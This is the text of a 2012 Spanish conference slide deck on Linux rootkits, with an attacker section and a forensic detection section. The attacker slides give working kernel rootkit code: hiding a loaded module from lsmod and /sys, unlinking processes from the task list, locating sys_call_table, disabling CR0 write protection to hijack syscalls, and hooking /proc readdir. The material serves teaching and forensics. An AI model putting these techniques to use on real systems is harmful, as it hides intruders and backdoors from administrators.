Hackeando el mundo exterior a través de Bluetooth Low-EnergyHackeando el mundo exterior a través de Bluetooth Low-Energy
Hackeando el mundo exterior a través de Bluetooth Low-Energy
 
Memorias perito vol_7_dragonjar_con
Memorias perito vol_7_dragonjar_conMemorias perito vol_7_dragonjar_con
Memorias perito vol_7_dragonjar_con
 
Cloud native security en tiempo de coronavirus dragon jar
Cloud native security en tiempo de coronavirus dragon jarCloud native security en tiempo de coronavirus dragon jar
Cloud native security en tiempo de coronavirus dragon jar
 
Analysis of time windows to detect botnets behaviours
Analysis of time windows to detect botnets behavioursAnalysis of time windows to detect botnets behaviours
Analysis of time windows to detect botnets behaviours
 
Bug Bounty Experiences (Spanish)
Bug Bounty Experiences (Spanish)Bug Bounty Experiences (Spanish)
Bug Bounty Experiences (Spanish)
 
Threat intel malware_analysis
Threat intel malware_analysisThreat intel malware_analysis
Threat intel malware_analysis
 
Bugbounty en Español, todo lo que no te han dicho
Bugbounty en Español, todo lo que no te han dichoBugbounty en Español, todo lo que no te han dicho
Bugbounty en Español, todo lo que no te han dicho
 
Técnicas de Inteligencia en la lucha contra el Crimen Organizado y el Terrorismo
Técnicas de Inteligencia en la lucha contra el Crimen Organizado y el TerrorismoTécnicas de Inteligencia en la lucha contra el Crimen Organizado y el Terrorismo
Técnicas de Inteligencia en la lucha contra el Crimen Organizado y el Terrorismo
 
Gestión del tiempo en tiempos del COVID-19
Gestión del tiempo en tiempos del COVID-19Gestión del tiempo en tiempos del COVID-19
Gestión del tiempo en tiempos del COVID-19
 
Busy Tone Vulnerable PBX
Busy Tone Vulnerable PBXBusy Tone Vulnerable PBX
Busy Tone Vulnerable PBX
 

Hide and Find Rootkits Linux

  • 1. Hide and Find Rootkits in Linux Hide and Find Rootkits in Linux Forensics and Attack Strategies NataS::: The Lord of Chaos Marcos Ricardo Schejtman Rubio 20 de Abril de 2012
  • 2. Hide and Find Rootkits in Linux Contents 1 Introducci´n o Definiciones Tipos de Rootkits Funciones Comunes de Rootkits 2 La perspectiva del Atacante M´todos de Ataque e Kernel Hacking task struct modification 3 La Perspectiva Forense M´todos de Detecci´n e o 4 The End
  • 3. Hide and Find Rootkits in Linux Introducci´n o Definiciones Introducci´n o 1 Introducci´n o Definiciones Tipos de Rootkits Funciones Comunes de Rootkits 2 La perspectiva del Atacante M´todos de Ataque e Kernel Hacking task struct modification 3 La Perspectiva Forense M´todos de Detecci´n e o 4 The End
  • 4. Hide and Find Rootkits in Linux Introducci´n o Definiciones ¿Qu´ es un Rootkit? e Un rootkit (seg´n Wikipedia), se puede definir como: u Un programa que permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones.
  • 5. Hide and Find Rootkits in Linux Introducci´n o Tipos de Rootkits Tipos de Rootkits Practicamente podemos hablar de dos tipos de rootkits: 1 Rootkits en Espacio de Usuario, Los cuales corren en Ring-3, y modifican librer´ o archivos de configuraci´n, e ıas, o inclusive ejecutables (ls, ps, etc). 2 Rootkits en Espacio de Kernel, Los cuales corren en Ring-0, y modifican estructuras del kernel, atrapan llamadas de sistema (hijacking syscall-table), etc. Podemos tenerlos como LKM’s o como patch al kernel corriendo /dev/kmem
  • 6. Hide and Find Rootkits in Linux Introducci´n o Funciones Comunes de Rootkits Funciones Comunes de Rootkits Esconder Procesos Esconder Archivos Esconder Conexiones de Red Backdoors Keyloggers Darnos acceso a root
  • 7. Hide and Find Rootkits in Linux La perspectiva del Atacante M´todos de Ataque e Introducci´n o 1 Introducci´n o Definiciones Tipos de Rootkits Funciones Comunes de Rootkits 2 La perspectiva del Atacante M´todos de Ataque e Kernel Hacking task struct modification 3 La Perspectiva Forense M´todos de Detecci´n e o 4 The End
  • 8. Hide and Find Rootkits in Linux La perspectiva del Atacante M´todos de Ataque e M´todos de Ataque e Modificaci´n de las estructuras de datos (la misma que o contiene los procesos corriendo en el sistema actualmente). Interceptando las llamadas a sistema mediante la modificaci´n o de la tabla de llamadas o del handler de cierta syscall (Dinamyc or Static Hijacking). Interrupt Hooking, modificando la tabla de descriptores de las interrupciones (IDT) 0x80. Modificando la memoria del kernel (/dev/kmem). Interceptando el manejo de llamadas del VFS (/proc /sys) Virtual Memory Subversion, un ataque novedoso para presentar vistas de la memoria de los procesos.
  • 9. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Introducci´n o 1 Introducci´n o Definiciones Tipos de Rootkits Funciones Comunes de Rootkits 2 La perspectiva del Atacante M´todos de Ataque e Kernel Hacking task struct modification 3 La Perspectiva Forense M´todos de Detecci´n e o 4 The End
  • 10. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Escondiendo desde el Kernel The Ring Model Intel tiene cuatro anillos MS Windows y otros, manejan solo dos. Usando solo dos niveles de privilegios, no hay separaci´n o entre el kernel y los drivers (root es tambi´n ring-3). e Los drivers pueden modificar la memoria asociada con objetos del kernel... tales como aquellos que representan un proceso.
  • 11. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Introduciendo al LKM Las comunicaciones entre el espacio de usuario (ring-3), y el espacio del kernel (ring-0), se hacen mediante archivos. Debido al punto anterior, existe y conocemos /proc, /sys, /dev. Dichos directorios solo existen en RAM. Llamadas a sistemas, est´n guardadas en una tabla especial a (sys call table).
  • 12. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Consideraciones Las diferencias m´s importantes entre un desarrollo a n´ kernel o a ıvel espacio usuario son: El kernel carece de protecci´n de memoria... algo que se o ofrece en el espacio de usuario. El kernel no puede ejecutar de manera sencilla operaciones en punto flotante. El kernel tiene un espacio en pila muy reducido por proceso. Debido a la naturaleza as´ıncrona de las interrupciones del kernel, la concurrencia es de los temas a poner mas ´nfasis al e desarrollar (Race-Conditions). La potabilidad... entre versi´n y versi´n de n´cleo. o o u
  • 13. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Hidding the Module El kernel maneja un lista enlazada en la cual, mantiene la referencia de todos los m´dulos que est´n cargados (lsmod y o a /proc leen dicha lista). Esconder nuestro m´dulo es muy sencillo, en la funci´n de o o inicio del m´dulo basta con eliminar la referencia de la lista: o list_del(&THIS_MODULE->list); Dos problemas con esta primer aproximaci´n: o 1 A´n somos detectables desde /sys u 2 Al hacer un unload del m´dulo, debido a que no existe en la o lista, se provoca un Oops que genera un kernel panic o crash del sistema, dejando rastros.
  • 14. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Hidding the Module Cada entrada en /sys es un objeto module kobject (definido en module.h) que internamente tienen una estructura del tipo kobject (definido en kobject.h). Examinando el c´digo del kernel, vemos que en la descarga del o m´dulo, primero debemos eliminarnos de /sys y o posteriormente de la vista. Hay que tomar en cuenta, que el kernel no libera objetos que est´n iniciado a NULL e Recomendaciones: 1 Recordar informaci´n previa (prev y next en la lista). o 2 Sobreescribir readproc y writeproc 3 Funciones est´ticas para no dejar rastros en /proc/kallsyms a
  • 15. Hide and Find Rootkits in Linux La perspectiva del Atacante Kernel Hacking Hidding the Module: A little taste static inline void natas_hide(void) { list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); kfree(THIS_MODULE->notes_attrs); THIS_MODULE->notes_attrs = NULL; kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; kfree(THIS_MODULE->mkobj.mp); THIS_MODULE->mkobj.mp = NULL; THIS_MODULE->modinfo_attrs->attr.name = NULL; kfree(THIS_MODULE->mkobj.drivers_dir); THIS_MODULE->mkobj.drivers_dir = NULL; } static int __init natas_init(void) { /*Inicializaciones del modulo*/ ... natas_hide(); return 0; } module_init(natas_init);
  • 16. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Introducci´n o 1 Introducci´n o Definiciones Tipos de Rootkits Funciones Comunes de Rootkits 2 La perspectiva del Atacante M´todos de Ataque e Kernel Hacking task struct modification 3 La Perspectiva Forense M´todos de Detecci´n e o 4 The End
  • 17. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification task struct modification: Overview El kernel de linux contiene una lista enlazada (definida en include/linux/types.h e include/linux/list.h) de tareas, las cuales son una estructura declarada en include/linux/sched.h.
  • 18. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification task struct modification: Hidding Esconder un proceso no es m´s que eliminar la tarea de los a punteros prev y next de la lista tasks.
  • 19. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification task struct modification: Issues La eliminaci´n de las referencias en next y prev, ocasionan que o el scheduler no vea el proceso que escondimos. Si el scheduler no ve el proceso, no le asigna tiempo de CPU, ocasionando que la tarea se congele. Adicional, es preciso modificar el scheduler para que asigne tiempo al proceso padre del PID 0 (init). ¿Es posible encontrar el proceso? S´ Usando gdb, conociendo ı. nuestra arquitectura y cuanto pesa nuestra task struct. A partir de ah´ y haciendo uso de System.map, /dev/kcore y la imagen es ı posible recrear la tabla de procesos.
  • 20. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Hijacking Syscall Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_open(pathname, flags, mode) { if (XXX==XXX) call open(pathname, flags, mode) else printf("Not found"); }
  • 21. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Dinamyc Hijacking La direcci´n de la sys call table, puede ser encontrada en el archivo o System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese archivo? El rango de memoria del kernel en arquitecturas X86 es del 0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table basta con buscar hasta la 0xd0000000 ¿porque? CONFIG HIGHMEM. Para x86 64 podemos encontrar el inicio de la memoria del kernel en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff, es de destacar que igual que en la arquitectura de 32Bits, no debemos iterar todas las direcciones, basta iterar hasta 0xffffffff81ffffff. Finalmente... solo basta comparar alguna sys call cuyos s´ ımbolos se exporten, sys close por ejemplo.
  • 22. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Dinamyc Hijacking #if defined __x86_64__ #define START_MEM 0xffffffff81000000 #define END_MEM 0xffffffff81ffffff #else #define START_MEM 0xc0000000 #define END_MEM 0xd0000000 #endif unsigned long **find_syscalltable() { unsigned long **syscalltable; unsigned long int i = START_MEM; while ( i < END_MEM) { sctable = (unsigned long **)i; if ( syscalltable[__NR_close] == (unsigned long *)sys_close) { return &syscalltable[0]; } i += sizeof(void *); } return NULL; }
  • 23. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Dinamyc Hijacking Pero la sys call table esta protegida contra escritura ¿o no? Existen diferentes registros de procesador, el que nos interesa es el cr0. El kernel nos da dos funciones para manipular este registro: write cr0 y read cr0. El Bit 0 de este registro maneja el Protected Mode, por ello se llama WP bit. Solo basta modificar este bit antes y despu´s del e hijacking write_cr0 (read_cr0 () & (~ 0x10000)); printk(KERN_ALERT "nWrite Protection Disabled XD"); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "nWrite Protection Enabled"); /* 0X10000 --> 000...010000000000000000 ~(0X10000) --> 111...101111111111111111 */
  • 24. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Hijacking VFS Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_lookup(parent_directory, pathname, ...) { if (XXX==XXX) call real_lookup(parent_directory, pathname, ...) else printf("Error"); }
  • 25. Hide and Find Rootkits in Linux La perspectiva del Atacante task struct modification Hijacking VFS struct inode *pinode; const struct file_operations *proc_original; static struct file_operations proc_fops; void hook_proc(struct proc_dir_entry *root) { struct path proc_path; if (kern_path("/proc/",0,&proc_path)) return; pinode = proc_path.dentry->d_inode; if(!pinode) return; proc_fops = *pinode->i_fop; proc_original = pinode->i_fop; proc_fops.readdir = natas_lookup; pinode->i_fop = &proc_fops; }
  • 26. Hide and Find Rootkits in Linux La Perspectiva Forense M´todos de Detecci´n e o Introducci´n o 1 Introducci´n o Definiciones Tipos de Rootkits Funciones Comunes de Rootkits 2 La perspectiva del Atacante M´todos de Ataque e Kernel Hacking task struct modification 3 La Perspectiva Forense M´todos de Detecci´n e o 4 The End
  • 27. Hide and Find Rootkits in Linux La Perspectiva Forense M´todos de Detecci´n e o M´todos de Detecci´n e o Comparando la tabla de S´ ımbolos, Cada cierto tiempo se realizar comparaciones con la tabla de Sistema original (System.map) con la actual tabla. An´lisis de Binarios, desde m´todos tan sencillos como a e constantes revisiones de la suma MD5, hasta utilizaci´n de o trazas y visualizaci´n de estructuras de datos sobre el kernel. o An´lisis del Path de Ejecuci´n, Un rotkit modifica el a o camino de ejecuci´n de una llamada a sistema o
  • 28. Hide and Find Rootkits in Linux La Perspectiva Forense M´todos de Detecci´n e o Path Analysis
  • 29. Hide and Find Rootkits in Linux La Perspectiva Forense M´todos de Detecci´n e o M´todos de Detecci´n e o root@alien-natas:~# dmesg | grep -i task [ 3.082767] registered taskstats version 1 [ 251.622695] My task_struct --> 1048 root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D c13d8fe0 D init_task root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae root=/dev/mapper/sda2_crypt ro single’. #0 0x00000000 in ?? () (gdb) x/262wx 0xc13d8fe0 0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000 0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000 0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000 0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000 0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028 0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000 0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000 0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000 0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068 0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000 0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000
  • 30. Hide and Find Rootkits in Linux The End Greetings Gr33tz!! @nitr0usmx @preth00nker @ hkm @ tty0 @calderpwn @psymera @ch1rx @napa topos —————————————————————————– Autor: Marcos Ricardo Schejtman Rubio E-Mail: natashell@esdebian.org Twitter: @natashell666 5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537 A LTEX para todos